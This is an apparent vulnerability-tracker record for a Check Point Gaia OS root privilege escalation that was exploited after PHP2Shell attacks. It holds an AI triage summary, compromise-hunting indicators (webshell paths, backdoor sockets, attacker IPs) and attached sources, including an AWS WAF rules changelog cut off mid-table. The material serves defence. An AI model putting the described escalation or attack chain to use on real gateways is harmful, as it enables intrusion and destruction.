{"id":"CVE-2026-123039","kind":"vulnerability","aliases":["CVE-2026-123039"],"related":[],"title":"Check Point Gaia OS: DynamicCLI privilege escalation to root, used in attacks on Check Point gateways","description":"The Gaia OS DynamicCLI daemon runs as root and listens on a world-writable local socket (/tmp/dynamic_socket) without authenticating connecting processes. An authenticated local user can send a command to the socket and have it executed as root.","summary":"Check Point Research (12 Nov 2026) reports that from 30 Oct 2026 an attacker used PHP2Shell (CVE-2026-109618/109619) on Mobile Access portals of unpatched Check Point Security Gateways for initial access, then escalated from the portal service account to root through CVE-2026-123039, a local privilege escalation in the Gaia DynamicCLI IPC interface. After that they placed PHP webshells, the TSGA backdoor and TSProxy, and in the first wave (Israeli organizations) moved to a VMware ESXi host and ran a wiper. A second wave on 2 Nov targeted organizations in several countries, with no destructive activity seen. Check Point has not published its own advisory for this CVE that I could find; affected builds and a fixed build for CVE-2026-123039 are unknown.","severity":"high","cvss":7.8,"epss":null,"exploited":true,"exploited_at":null,"products":[],"ecosystems":[],"tags":["check-point","exploited","firewall","gaia-os","infrastructure","linux","mobile-access","privilege-escalation","security-gateway"],"not_affected_if":["no-local-untrusted-users","non-gaia-platform"],"how_to_check":"Version range for CVE-2026-123039 is unknown (no Check Point advisory found). Treat gateways as exposed if they run Gaia and are not on the PHP2Shell hotfix in sk1000302. Hunt for compromise per Check Point Research: PHP session files containing upload_progress_pwn under /opt/CPcvpn-R81.20/tmp/; webshells named zz*.tpl and challenge_render.tpl in the Mobile Access templates directory; /tmp/.up.tpl; /tmp/CPconfigdaemon or slot_CPconfigdaemon; /lib/libcpfwcommon.so; TCP 11072 and /tmp/.p_sock; connections to 130.94.19.204 and 130.94.19.168; many Apache/PHP segfaults in the portal.","fix":null,"status":"open","published_at":"2026-11-12T14:17:24+00:00","first_seen_at":"2026-11-12T14:38:37+00:00","triaged_at":"2026-11-12T14:39:04+00:00","updated_at":"2026-11-12T14:44:56+00:00","category":"infrastructure","confidence":0.6,"triage":{"at":"2026-11-12T14:39:04Z","model":"claude-haiku-5-5","output":{"fix":"unknown","reach":"local","title":"Check Point Gaia OS: local users can run commands as root","impact":"high","summary":"The DynamicCLI daemon in Check Point Gaia OS runs as root and listens on a world-writable local socket without checking who connects. An authenticated local user can send a command through that socket and have it executed as root.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["gaia-os","check-point","firewall","linux"],"confidence":0.6,"fix_status":"unknown","needs_auth":"yes","worst_case":"local user gains root command execution on the appliance","analyst_note":"Find affected Gaia OS versions, the fixed build, and any vendor workaround from the NVD entry and Check Point advisory; the sources list none.","how_to_check":"unknown","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["no-local-untrusted-users","non-gaia-platform"],"who_is_affected":"Only machines running Check Point Gaia OS are exposed, and only if a local account exists that can reach the socket at /tmp/dynamic_socket. The sources do not say which Gaia versions are affected or how to confirm the daemon is running.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"unknown","severity_if_unknown":"high"},"cost_usd":0.000682,"input_tokens":4544,"output_tokens":455,"severity_before":"high"},"analyst_status":"done","analyst_note":"Find affected Gaia OS versions, the fixed build, and any vendor workaround from the NVD entry and Check Point advisory; the sources list none.","search":"'-109618':60B '-123039':19A,22A,87B,166B '-2026':18A,21A,59B,86B,165B '/109619':61B '/tmp/dynamic_socket':186C '12':45B '2':130B '2026':47B,53B '30':51B 'access':35B,64B,74B 'account':81B 'activ':140B 'advisori':149B 'affect':157B 'attack':12A,55B 'authent':188C,192C 'backdoor':106B 'build':158B,162B 'check':1A,14A,24B,42B,68B,142B 'check-point':23B 'command':198C 'connect':189C 'could':155B 'countri':136B 'cve':17A,20A,58B,85B,152B,164B 'daemon':173C 'destruct':139B 'dynamicc':5A,95B,172C 'escal':7A,38B,76B,91B 'esxi':120B 'execut':205C 'exploit':26B 'find':156B 'firewal':27B 'first':112B 'fix':161B 'gaia':3A,29B,94B,170C 'gaia-o':28B 'gateway':16A,41B,71B 'host':121B 'infrastructur':31B 'initi':73B 'interfac':97B 'ipc':96B 'isra':114B 'linux':32B 'listen':178C 'local':89B,184C,193C 'mobil':34B,63B 'mobile-access':33B 'move':116B 'nov':46B,131B 'oct':52B 'organ':115B,133B 'os':4A,30B,171C 'php':102B 'php2shell':57B 'place':101B 'point':2A,15A,25B,43B,69B,143B 'portal':65B,79B 'privileg':6A,37B,90B 'privilege-escal':36B 'process':190C 'publish':146B 'ran':123B 'report':48B 'research':44B 'root':9A,83B,176C,207C 'run':174C 'second':127B 'secur':40B,70B 'security-gateway':39B 'seen':141B 'send':196C 'servic':80B 'sever':135B 'socket':185C,201C 'target':132B 'tsga':105B 'tsproxi':108B 'unknown':168B 'unpatch':67B 'use':10A,56B 'user':194C 'vmware':119B 'wave':113B,128B 'webshel':103B 'wiper':125B 'without':187C 'world':182C 'world-writ':181C 'writabl':183C","nicknames":["PHP2Shell"],"mitigations":[],"who_affected":"Check Point Security Gateways running Gaia OS where an attacker can already run code as a low-privileged local account. In the reported attacks that was the Mobile Access portal service account reached through PHP2Shell. Gateways that use Mobile Access Portal, SSL Network Extender, SAML Realm, Captive Portal, UserCheck or Zero Phishing and have not installed the sk1000302 PHP hotfix are the ones seen attacked. Teams with no Check Point gateways can skip it. The exact Gaia versions affected by CVE-2026-123039 are not confirmed.","tier":"A","verified":{},"analyst_revisit_at":null,"fix_status":"unknown","audience":"businesses","plain_action":null,"pkeys":["php2shell"],"ptokens":[],"labels":["checkpoint","exploited","firewall","gaiaos","high","infrastructure","linux","mobileaccess","privilegeescalation","securitygateway"],"campaign_type":null,"search_a":"'-123039':19A,22A '-2026':18A,21A 'attack':12A 'check':1A,14A 'cve':17A,20A 'dynamicc':5A 'escal':7A 'gaia':3A 'gateway':16A 'os':4A 'point':2A,15A 'privileg':6A 'root':9A 'use':10A","search_b":"'-109618':60B '-123039':87B,166B '-2026':59B,86B,165B '/109619':61B '12':45B '2':130B '2026':47B,53B '30':51B 'access':35B,64B,74B 'account':81B 'activ':140B 'advisori':149B 'affect':157B 'attack':55B 'backdoor':106B 'build':158B,162B 'check':24B,42B,68B,142B 'check-point':23B 'could':155B 'countri':136B 'cve':58B,85B,152B,164B 'destruct':139B 'dynamicc':95B 'escal':38B,76B,91B 'esxi':120B 'exploit':26B 'find':156B 'firewal':27B 'first':112B 'fix':161B 'gaia':29B,94B 'gaia-o':28B 'gateway':41B,71B 'host':121B 'infrastructur':31B 'initi':73B 'interfac':97B 'ipc':96B 'isra':114B 'linux':32B 'local':89B 'mobil':34B,63B 'mobile-access':33B 'move':116B 'nov':46B,131B 'oct':52B 'organ':115B,133B 'os':30B 'php':102B 'php2shell':57B 'place':101B 'point':25B,43B,69B,143B 'portal':65B,79B 'privileg':37B,90B 'privilege-escal':36B 'publish':146B 'ran':123B 'report':48B 'research':44B 'root':83B 'second':127B 'secur':40B,70B 'security-gateway':39B 'seen':141B 'servic':80B 'sever':135B 'target':132B 'tsga':105B 'tsproxi':108B 'unknown':168B 'unpatch':67B 'use':56B 'vmware':119B 'wave':113B,128B 'webshel':103B 'wiper':125B","search_c":"'/tmp/dynamic_socket':186C 'authent':188C,192C 'command':198C 'connect':189C 'daemon':173C 'dynamicc':172C 'execut':205C 'gaia':170C 'listen':178C 'local':184C,193C 'os':171C 'process':190C 'root':176C,207C 'run':174C 'send':196C 'socket':185C,201C 'user':194C 'without':187C 'world':182C 'world-writ':181C 'writabl':183C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-21T02:42:03+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cvss_by":"cve@checkpoint.com","poc_count":24,"sources":[{"source":"nvd","external_id":"CVE-2026-123039","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-123039","severity":null,"published_at":"2026-11-12T14:17:24+00:00","modified_at":"2026-11-12T14:17:24+00:00","first_seen_at":"2026-11-12T14:38:37+00:00","fetched_at":"2026-11-12T14:38:37+00:00","note":null},{"source":"analyst","external_id":"CVE-2026-123039:3742","url":"https://support.checkpoint.com/results/sk/sk1000302","severity":null,"published_at":"2026-11-12T14:41:28+00:00","modified_at":"2026-11-12T14:41:28+00:00","first_seen_at":"2026-11-12T14:41:28+00:00","fetched_at":"2026-11-12T14:41:28+00:00","note":"Exploitation from Check Point Research post (vendor's own research, linked). No vendor advisory/sk for CVE-2026-123039, no NVD content retrievable, so fix, affected versions and mitigations left unknown and nothing marked verified. Immediate step is sk1000302 PHP hotfix to cut the initial access. Consider tier A: exploited and named, but local-only. X/social search not run.","cites":["https://support.checkpoint.com/results/sk/sk1000302","https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/","https://access.redhat.com/security/vulnerabilities/RHSB-2026-013","https://dreamgroup.com/blog/chained-php2shell-exploit-roots-25-servers","https://previdian.com/php2shell-activity-across-previdian-network"]}],"documents":[{"id":135381,"url":"https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/","title":"PHP2Shell Exploitation on Check Point Gateway - Check Point Research","kind":"vendor","source":"blog","publisher":null,"text":"PHP2Shell Exploitation on Check Point Gateway\n\nKey findings Introduction We have now confirmed that, in late October 2026, approximately one week after a security fix became available, activity originating from 130.94.19[.]204 targeted Israeli organizations through vulnerable Mobile Access portals on Check Point Security Gateways. Evidence suggested some cases of a successful compromise, with exploitation activity consistent with PHP2Shell, associated with CVE-2026-109618 […] The post PHP2Shell Exploitation on Check Point Gateway appeared first on Check Point Research .","published_at":"2026-11-12T13:56:37+00:00","relation":"advisory","confidence":null,"note":null},{"id":135692,"url":"https://support.checkpoint.com/results/sk/sk1000302","title":"sk1000302 - Check Point Response to CVE-2026-109618, CVE-2026-109619 (PHP2Shell)","kind":"vendor","source":"analyst","publisher":null,"text":null,"published_at":null,"relation":"mentions","confidence":null,"note":null},{"id":106372,"url":"https://github.com/hosun-hwang/CVE-2026-109618-CVE-2026-109619_PoC","title":"hosun-hwang/CVE-2026-109618-CVE-2026-109619_PoC","kind":"poc","source":"github","publisher":null,"text":"PHP2Shell\n\nstars 0","published_at":"2026-11-09T07:17:50+00:00","relation":"poc","confidence":null,"note":null},{"id":114452,"url":"https://x.com/Cloudflare/status/2120100408722878918","title":"@Cloudflare: Join Grant Bourzikas, Cloudflare’s CISO, and Daniele Molteni, Director of Produc","kind":"post","source":"x","publisher":null,"text":"Join Grant Bourzikas, Cloudflare’s CISO, and Daniele Molteni, Director of Product for Application Security, this Thursday, November 12th for practical lessons from the PHP2Shell disclosures. Learn what to check first, how to verify relevant rules are enabled in Block mode, and https://t.co/MCmtdfouyh\n\nlikes 17 reposts 6","published_at":"2026-11-10T10:25:01+00:00","relation":"discussion","confidence":null,"note":"@Cloudflare"},{"id":123118,"url":"https://openai.com/index/cogent-security","title":"OpenAI: Cogent and OpenAI build cyber defense factories for enterprises | OpenAI","kind":"advisory","source":"lab","publisher":"research","text":"Cogent and OpenAI build cyber defense factories for enterprises | OpenAI\n\nNovember 10, 2026\n\n# Cogent and OpenAI build cyber defense factories for enterprises\n\nCogent combines OpenAI models with enterprise context to help automatically remediate vulnerabilities with agents.\n\nCompany size: Startup Region: North America Industry: Technology Products: API, Codex, Daybreak\n\n75%\n\nLower mean time to remediate vulnerabilities\n\nMore vulnerabilities triaged\n\nAs Cogent Security⁠(opens in a new window) sees enterprises facing more security risks than ever, it has found that the hardest part is not finding vulnerabilities, but fixing them. Remediation work is complex and spans multiple teams. It requires contextual understanding of a company’s environment: how could an attacker exploit a vulnerability, which business systems are at stake, and what changes can be made safely.\n\nCogent builds Cyber Defense Factories for enterprises to autonomously find and eliminate those risks. The factories are designed to help defenders move at machine speed, in response to the acceleration in vulnerability discovery and exploitation.\n\nThe company’s AI agents combine GPT‑6.1 Sol and GPT‑5.6 with its enterprise context and controls to handle investigation through verified remediation. The agents assess exposures, execute permitted changes, and confirm the risk has been eliminated. Cogent also conducts internal research with Cyber and Daybreak, exploring attack paths and defensive capabilities.\n\n> “The ability of OpenAI models to sustain long-running tasks unlocks a new level of autonomy in enterprise defense: AI agents can now carry work from investigation through verified remediation.”\n\n—Geng Sng, Co-founder and CTO, Cogent\n\n## Giving agents context and permission to act\n\nFor each customer, Cogent’s Context Engine maintains an enterprise knowledge graph of assets, vulnerabilities, identities, ownership, and dependencies. Specialized background agents continuously reconcile information across security tools and systems, giving investigation and remediation agents a shared understanding of the environment.\n\nGPT‑6 Astra handles upfront planning and complex reasoning for that work. This enables what Geng Sng, Co-founder and CTO of Cogent, describes as a “memory harness for the enterprise.” He says, “We don’t have to relearn what the world looks like every time a new task happens.” Reusing context reduces latency, inference costs, and inconsistent results.\n\nCogent’s Agent Policies define each enterprise’s permitted changes and approval requirements, and its policy-enforcement engine, TRACE, checks tool calls against the policies before execution. The checks are deterministic and require no separate model inference.\n\nAn Agent Gateway independently checks authorization, and higher-risk work can run in isolated sandboxes. Customers can delegate investigation, require approval for changes, or permit bounded autonomous remediation.\n\n## From vulnerability disclosure to verified fixes\n\nWhen critical security flaws known as PHP2Shell were disclosed in PHP, a programming language used to run websites, customers turned to the Cyber Defense Factories that Cogent had already deployed in their environments.\n\nGPT‑6.1 Sol and GPT‑6 Astra provided the deep reasoning for investigation and remediation planning. Using Cogent’s context layer, agents identified affected systems, assessed exposure, and developed plans that accounted for application dependencies and operational constraints. Then they orchestrated fixes using customer-defined approval and execution workflows and verified the resolution.\n\nCogent reports that customers are using its Cyber Defense Factories to resolve vulnerabilities faster and expand investigation capacity. With Cogent, a Fortune 1000 automotive customer reduced its mean time to remediate critical vulnerabilities by 75%, and a Fortune 500 IT services customer achieved 5× vulnerability-triage throughput.\n\nTrading platform MarketAxess says Cogent helps it decide which exposures to fix first: “Cogent sees our environment the way an attacker would. It traces the route from the internet to a vulnerable system and checks controls on the way. Our remediation work now focuses on the greatest risks and the paths an adversary could use to break in,” says Vijay Bala, Global CISO at MarketAxess.\n\n## Why Cogent builds with OpenAI models and Codex\n\nCogent continuously evaluates closed-source and open-source alternatives and reports stronger reasoning on long-running security tasks, higher fidelity, fewer hallucinations on technical codebases, and more reliable execution with OpenAI models. The models can chain tool calls sequentially and in parallel while retaining context across remediation workflows.\n\nCogent prioritizes reasoning quality for complex investigations and cost for more straightforward work. It uses GPT‑6.1 Sol for general execution and GPT‑5.6 for routine vulnerability-management tasks where advanced reasoning is less critical.\n\n> “OpenAI models are more cost-efficient relative to the other providers. That’s a big plus for us, especially if we’re running these huge agent swarms.”\n\n—Geng Sng, Co-founder and CTO, Cogent\n\nUsing OpenAI models has also reduced the supporting software Cogent needs to build for remediation and patching. “A lot of the work that we had to do at the harness level is no longer required,” Geng says. He also shared that OpenAI APIs have “streamlined request routing and agent orchestration, significantly reducing internal engineering overhead and accelerating our time-to-market for complex security workflows.”\n\nMost of Cogent’s engineers also choose Codex for development. Geng says they’re more productive pairing Codex with OpenAI models vs. using the same models in an open-source coding environment. “Codex just comes with tools that we don’t have to build ourselves,” says Geng.\n\n## Expanding autonomous cyber defense\n\nThrough Trusted Access for Cyber and Daybreak, Cogent receives technical support for its internal red-teaming and attack-path research. Daybreak Red, an access tier within Daybreak, provides the team with specialized OpenAI models for authorized offensive and vulnerability research. “Good defense requires good offense,” Geng says.\n\n> “Through Trusted Access for Cyber and Daybreak, we can explore how vulnerabilities could be chained across identities, resources, and network controls. We use that research to understand what our agents can do and which defensive capabilities to build next.”\n\n—Geng Sng, Co-founder and CTO, Cogent\n\nCogent plans to expand its capabilities as the key partner for enterprises to build their own Cyber Defense Factories. Its roadmap includes increasingly autonomous remediation, broadening the range and complexity of fixes agents can execute, from straightforward configuration changes to multi-step workflows spanning different enterprise systems.\n\nThe company is also developing autonomous discovery and validation. Its goal is a closed-loop system that finds and eliminates risk while continuously learning from every vulnerability to improve future investigations and fixes.","published_at":"2026-11-10T00:00:00+00:00","relation":"advisory","confidence":null,"note":null},{"id":135492,"url":"https://bsky.app/profile/campuscodi.risky.biz/post/3n24ntnb5ys2t","title":"@campuscodi.risky.biz: Check Point says hackers are exploiting PHP2Shell to take over its security gate","kind":"post","source":"bluesky","publisher":null,"text":"Check Point says hackers are exploiting PHP2Shell to take over its security gateways\n\nresearch.checkpoint.com/2026/php2she...\nhttps://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/\n\nlikes 2 reposts 3","published_at":"2026-11-12T14:15:56+00:00","relation":"discussion","confidence":null,"note":"@campuscodi.risky.biz"},{"id":2857,"url":"https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-changelog.html","title":"AWS: AWS Managed Rules changelog - AWS WAF, AWS Firewall Manager, AWS Shield Advanced, and AWS Shield network security director","kind":"advisory","source":"lab","publisher":"research","text":"AWS Managed Rules changelog - AWS WAF, AWS Firewall Manager, AWS Shield Advanced, and AWS Shield network security director\n\nIntroducing a new console experience for AWS WAF\n\nYou can now use the updated experience to access AWS WAF functionality anywhere in the console. For more details, see Working with the console. \n\n# AWS Managed Rules changelog\n\nThis section lists changes to the AWS Managed Rules for AWS WAF since their release in November, 2019.\n\n###### Note\n\nThis changelog reports changes to the rules and rule groups in AWS Managed Rules for AWS WAF.\n\nFor the IP reputation rule groups, this changelog reports changes to the rules and rule group, and it reports significant changes to the sources of the IP address lists that the rules use. It does not report changes to the IP address lists themselves, due to the dynamic nature of those lists. If you have questions about the IP address lists, contact your account manager or open a case at \n\n| Rule group and rules | Description | Date |\n| --- | --- | --- |\n| POSIX operating system managed rule group | Released static version 3.3 of this rule group. Improved detection signatures for all the rules. | 2026-11-04 |\n| PHP application managed rule group This release updates the following rules: `PHP2Shell_BODY_Extended` | Released static version 2.5 of this rule group. Improved the detection signatures for the PHP web runtime remote code execution vulnerabilities CVE-2026-109618 and CVE-2026-109619. | 2026-10-22 |\n| PHP application managed rule group This release updates the following rules: `PHP2Shell_BODY_Extended` | Released static version 2.4 of this rule group. The new `PHP2Shell_BODY_Extended` rule adds detection for requests that match the PHP web runtime remote code execution vulnerability CVE-2026-109618. For more information, see NIST: National Vulnerability Database: CVE-2026-109618. This rule group now detects CVE-2026-109618 directly. This supersedes the guidance in the version 2.3 entry, which directed you to the `SizeRestrictions_BODY` rule in the AWS WAF Core rule set (CRS) managed rule group. | 2026-10-22 |\n| PHP application managed rule group This release updates the following rules: `PHP2Shell_BODY` | Released static version 2.3 of this rule group. The new `PHP2Shell_BODY` rule adds detection for requests that match the PHP web runtime remote code execution vulnerability CVE-2026-109619. For more information, see NIST: National Vulnerability Database: CVE-2026-109619. For CVE-2026-109618, the `SizeRestrictions_BODY` rule in the AWS WAF Core rule set (CRS) managed rule group adds protection by blocking request bodies that are over 8 KB (8,192 bytes). | 2026-10-21 |\n| AWS WAF Bot Control rule group | Released static version 7.0 of this rule group. Added token provenance labels at the targeted protection level. These labels flag a change in the category of IP address between the request that acquired an AWS WAF token and the request that presents it. Added device ID labels at the targeted protection level. These labels come from the device ID that the AWS WAF Android SDK collects. Added the cloud service provider label `awswaf:managed:aws:bot-control:signal:cloud_service_provider:fastly`. For more information, see Bot Control labels. | 2026-10-15 |\n| SQL database managed rule group This release updates the following rules: `SQLi_BODY` `SQLiExtendedPatterns_QUERYARGUMENTS` `SQLiExtendedPatterns_BODY` `SQLiExtendedPatterns_HEADER` `SQLiExtendedPatterns_URIPATH` | Released static version 2.5 of this rule group. Updated the `SQLi_BODY` rule and all `SQLiExtendedPatterns` rules to reduce false positives and improve detection. | 2026-09-16 |\n| Core rule set (CRS) managed rule group This release updates the following rules: `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_URIPATH` | Released static version 1.23 of this rule group. Improved detection signatures for the cross site scripting rules. | 2026-08-28 |\n| SQL database managed rule group This release updates the following rules: `SQLi_COOKIE` `SQLi_URIPATH` `SQLi_QUERYARGUMENTS` `SQLi_BODY` `SQLiExtendedPatterns_QUERYARGUMENTS` `SQLiExtendedPatterns_BODY` `SQLiExtendedPatterns_HEADER` `SQLiExtendedPatterns_URIPATH` | Released static version 2.4 of this rule group. This release updates all rules to improve SQL injection detection logic. | 2026-08-12 |\n| AWS WAF Bot Control rule group | Released static version 6.1 of this rule group. Added new bot detection signatures across multiple categories, including Advertising, AI, Content Fetcher, Scraping Framework, Search Engine, Security, SEO, and Social Media. | 2026-07-24 |\n| Core rule set (CRS) managed rule group `GenericLFI_QUERYARGUMENTS` `GenericLFI_URIPATH` `GenericLFI_BODY` | Released static version 1.22 of this rule group. Improved detection signatures for the generic LFI rules. | 2026-07-20 |\n| Known bad inputs managed rule group `ReactJSRCE_BODY` | Released static version 1.26 of this rule group. Added the `REMOVE_NULLS` text transformation to the listed rule. | 2026-07-15 |\n| Windows operating system managed rule group `WindowsShellCommands_HEADER` `WindowsShellCommands_URIPATH` `WindowsShellCommands_BODY` `WindowsShellCommands_QUERYARGUMENTS` `WindowsShellCommands_QUERYSTRING` | Released static version 2.5 of this rule group. Removed `WindowsShellCommands_QUERYARGUMENTS` and replaced it with `WindowsShellCommands_QUERYSTRING`. Updated WindowsShellCommands rules to improve detection logic. | 2026-06-01 |\n| AWS WAF Bot Control rule group | Released static version 6.0 of this rule group. Added new bot detection signatures across multiple categories, including Advertising, Content Fetcher, and Search Engine. Expanded Web Bot Auth support to commercial partition regional AWS WAF integrations. Changed the behavior of Web Bot Auth verified bots to be treated as standard verified bots for all categories, not only the AI category. This static version does not change the default version behavior. | 2026-05-22 |\n| SQL database managed rule group `SQLi_COOKIE` `SQLi_URIPATH` `SQLi_QUERYARGUMENTS` `SQLi_BODY` `SQLiExtendedPatterns_QUERYARGUMENTS` `SQLiExtendedPatterns_BODY` `SQLiExtendedPatterns_HEADER` `SQLiExtendedPatterns_URIPATH` | Released static version 2.3 of this rule group. Added new rules `SQLiExtendedPatterns_HEADER` and `SQLiExtendedPatterns_URIPATH`. Added `REPLACE_COMMENTS` text transformations to all rules. Added `JS_DECODE` text transformations to `SQLi_COOKIE`, `SQLi_URIPATH`, and to all the new rules. Updated all the rules to improve detection logic. Version_2.3 is the successor to Version_1.3, not Version_2.0. These are separate lineages with different detection trade-offs. Customers relying on Version_2.0 detection behavior should pin that version explicitly. | 2026-04-29 |\n| Windows operating system managed rule group `WindowsShellCommands_HEADER` `WindowsShellCommands_COOKIE` `WindowsShellCommands_URIPATH` `WindowsShellCommands_BODY` `WindowsShellCommands_QUERYARGUMENTS` | Released static version 2.4 of this rule group. Removed `WindowsShellCommands_COOKIE` and replaced it with `WindowsShellCommands_HEADER` which matches on all headers. Added new rule `WindowsShellCommands_URIPATH`. Added JSON body inspection to the `WindowsShellCommands_BODY`. Added double `URL_DECODE_UNI` and `JS_DECODE` text transformations to the WindowsShellCommands rules. Updated WindowsShellCommands rules to reduce false positives. | 2026-04-28 |\n| Core rule set (CRS) managed rule group `RestrictedExtensions_QUERYARGUMENTS` `RestrictedExtensions_URIPATH` | Released static version 1.21 of this rule group. Improved detection signatures for these rules. | 2026-04-06 |\n| PHP application managed rule group `PHPHighRiskMethodsVariables_BODY` `PHPHighRiskMethodsVariables_QUERYSTRING` `PHPHighRiskMethodsVariables_HEADER` `PHPHighRiskMethodsVariables_URIPATH` | Released static version 2.2 of this rule group. Improved detections and added `PHPHighRiskMethodsVariables_URIPATH` rule. | 2026-03-24 |\n| AWS WAF Bot Control rule group New rules: `CategoryPagePreview` `CategoryWebhooks` | Released static version 5.0 of this rule group. Added 400+ new bots across multiple categories, including two new bot categories with their respective rules: Page Preview and Webhooks. Key Improvements Improved accuracy of bot detection signals and generic bot pattern matching, resulting in more precise traffic classification. This update changes how the managed rule group prioritizes bot detection. Specific unverified bot patterns are now evaluated before generic patterns and detection signals. This means that requests are more likely to be classified based on their most specific characteristics rather than generic indicators. What this means for your traffic: Generic bot pattern will now match less frequently. These patterns only apply when no more specific bot rule has already identified the traffic. This reduces over-classification and ensures that requests are labeled with the most accurate bot identification available. Detection signals such as indicators that a request originates from a cloud service provider, known bot data center, or uses a non-browser user agent, are now applied after bot identification rules. This ensures that specific bot classifications take precedence over generic traffic signals. Impact: You may see fewer labels for generic bot patterns in your traffic logs, as requests are now more accurately classified by specific bot rules. This provides clearer insight into the actual nature of your automated traffic and reduces noise from overly broad pattern matching. Unverified bot classifications will be more prominent and accurate, helping you better understand and manage automated requests to your applications. Note: This version includes the `awswaf:managed:aws:bot-control:bot:web_bot_auth` labels and rules updates from Version_4.0, but the `Web\n Bot Auth` functionality is still only available in CloudFront. | 2026-02-25 |\n| POSIX operating system managed rule group | Released static version 3.2 of this rule group. Improved detection signatures for all the rules. | 2026-01-15 |\n| Known bad inputs managed rule group `ReactJSRCE_BODY` | Released static version 1.25 of this rule group. Updated the `ReactJSRCE_BODY` to improve detection. | 2025-12-08 |\n| POSIX operating system managed rule group | Released static version 3.1 of this rule group. Improved detection signatures for all the rules. | 2025-12-08 |\n| Known bad inputs managed rule group `ReactJSRCE_BODY` | Released static version 1.24 of this rule group. Updated the `ReactJSRCE_BODY` to improve detection. | 2025-12-04 |\n| AWS WAF Bot Control rule group New labels: `awswaf:managed:aws:bot-control:bot:web_bot_auth ` `verified` – Successful verification `invalid` – Failed verification attempt `expired` –Expired key usage `unknown_bot` – Unrecognized key usage `awswaf:managed:aws:bot-control:bot:vendor<vendor_name>` – Bot vendor or operator `awswaf:managed:aws:bot-control:bot:name<rfc_name>` – Bot name (RFC token from WBA) `awswaf:managed:aws:bot-control:bot:account ` – AWS account identifier. (Amazon Bedrock Agent Core agents only) Scope: CloudFront | Deployed new static version `AWSManagedRulesBotControlRuleSet` Version_4.0 with Web Bot Authentication (WBA) support for cryptographic bot verification. This version must be explicitly selected and does not automatically update existing deployments using the default version. New capabilities: Web Bot Authentication (WBA) cryptographic verification for AI bots and agents Automatic allowlisting of verified WBA bots in Category AI rule Enhanced bot identification with vendor, name, and account labels Support for Amazon Bedrock Agent Core bot detection Rule updates: `Category AI `(Action: Block) Update to not match requests with `web_bot_auth:verified ` label. Verified WBA bots are automatically allowed `TGT_TokenAbsent` (Action: Count) Updated to not match requests with `web_bot_auth:verified` label Important Version_4.0 is a static version only – it does not change the default version behavior. To use WBA features, explicitly select Version _4.0 when configuring your web ACL. | 2025-11-20 |\n| AWS WAF Bot Control rule group New verified bot labels: Advertising: `awswaf:managed:aws:bot-control:bot:name:meta-externalads`– Meta advertising bot `awswaf:managed:aws:bot-control:bot:organization:facebook`– Meta organization AI: `awswaf:managed:aws:bot-control:bot:name:meta-webindexer`– Meta web indexer `awswaf:managed:aws:bot-control:bot:name:perplexity-user`– Perplexity user bot `awswaf:managed:aws:bot-control:bot:name:perplexitybot` – Perplexity bot `awswaf:managed:aws:bot-control:bot:name:bytespider` – Bytespider bot `awswaf:managed:aws:bot-control:bot:name:duckassistbot` – DuckDuckGo assistant bot `awswaf:managed:aws:bot-control:bot:organization:facebook` – Meta organization Content Fetcher: `awswaf:managed:aws:bot-control:bot:name:meta-externalfetcher` – Meta content fetcher `awswaf:managed:aws:bot-control:bot:organization:facebook-externalfetcher` – Meta organization Social Media: `awswaf:managed:aws:bot-control:bot:name:tiktok` – TikTok bot | Key improvements: Expanded verified bot detection across multiple categories (Advertising, AI, Content Fetcher and Social Media) Added organization-level labels for Meta, Facebook bots Enhanced AI bot detection including Perplexity, Bytespider, and DuckDuckGo bots Added TikTok social media bot detection Important Bot category rules in Bot Control trigger only on unverified bots, except for CategoryAI which also triggers on verified bots. Version_3.3 is a static version only – it doesn't change the default version behavior. | 2025-11-17 |\n| Core rule set (CRS) managed rule group `EC2MetaDataSSRF_BODY` `EC2MetaDataSSRF_COOKIE` `EC2MetaDataSSRF_URIPATH` `EC2MetaDataSSRF_QUERYARGUMENTS` | Released static version 1.20 of this rule group. Improved detection signatures for the Server Side Request Forgery (SSRF) rules. | 2025-10-02 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_URIPATH` | Released static version 1.19 of this rule group. Improved detection signatures for the cross site scripting rules. | 2025-08-14 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_URIPATH` | Released static version 1.18 of this rule group. Improved detection signatures for the cross site scripting rules. | 2025-06-18 |\n| AWS WAF Bot Control rule group New labels: Search engine bots: `awswaf:managed:aws:bot-control:bot:name:evensi` `awswaf:managed:aws:bot-control:bot:name:yisouspider` AI bots: `awswaf:managed:aws:bot-control:bot:name:searchbot` `awswaf:managed:aws:bot-control:bot:name:nova_act` Organization labels for AI bots: `awswaf:managed:aws:bot-control:bot:organization:openai` `awswaf:managed:aws:bot-control:bot:organization:marfeel` `awswaf:managed:aws:bot-control:bot:organization:facebook` `awswaf:managed:aws:bot-control:bot:organization:metaexternalagent` `awswaf:managed:aws:bot-control:bot:organization:amazon` Content fetcher bots: `awswaf:managed:aws:bot-control:bot:name:google_cloud_vertex_bot` Cloud service provider signals: `awswaf:managed:aws:bot-control:signal:cloud_service_provider:alibaba` | Released static version 3.2 of this rule group. Added the listed new labels. | 2025-05-29 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_URIPATH` | Released static version 1.17 of this rule group. Improved detection signatures for the cross site scripting rules. | 2025-03-03 |\n| SQL database managed rule group `SQLi_COOKIE` `SQLi_URIPATH` `SQLi_QUERYARGUMENTS` `SQLi_BODY` | Released static version 1.3 of this rule group. Added double `URL_DECODE_UNI` text transformation to the listed rules. | 2025-01-24 |\n| Linux operating system managed rule group `LFI_HEADER` 